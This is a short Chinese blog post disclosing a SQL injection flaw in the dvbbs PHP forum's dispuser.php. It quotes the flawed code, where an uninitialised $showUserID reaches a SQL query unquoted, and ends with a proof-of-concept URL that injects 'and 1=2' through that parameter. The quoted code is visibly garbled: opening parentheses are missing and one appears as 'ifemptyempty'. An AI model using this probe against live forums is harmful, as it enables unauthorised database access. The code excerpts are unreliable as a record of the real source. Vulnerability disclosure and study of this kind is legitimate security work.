dvbbs php 的一个小注入

来源:phpeval's BLOG
作者:phpeval

dispuser.php文件

  1. $UserName = trim($name);                   //这句开始出问题  
  2. ifis_numeric($id) ){  
  3.   $showUserID = intval($id);  
  4. else{                                     //一个逻辑问题   
  5.   if$UserName == '' ){  
  6.     $ErrCodes = $lang['UrlArgError'];      //by: phpeval  
  7.   }  

 

没有考虑到,如果id变量不存在且UserName存在的情况,$showUserID就不会被初始化,这样就给直接get或post提交我们自己构造的$showUserID

下面

  1. ifemptyempty($showUserID) ){  
  2.    $updStmt .= " WHERE UserName='{$UserName}' ";  
  3.    $stmt .= " WHERE UserName='{$UserName}' ";  
  4.    $onstat = " WHERE UserName='{$UserName}' ";  
  5.  } else{  
  6.    $updStmt .= " WHERE UserID={$showUserID} ";  
  7.    $stmt .= " WHERE UserID={$showUserID} ";  
  8.    $onstat = " WHERE UserID={$showUserID} ";  
  9.  }  
  10.  if$query = $db->query($stmt) ){      //注入了 

 

直接

http://www.site.cn/dispuser.php?name=构造用户名&showUserID=1%20and%201=2

dv php的安全性和dv asp 的安全性不在一个档次。

Leave a comment

Your comment

Why not Login? Sign up now! »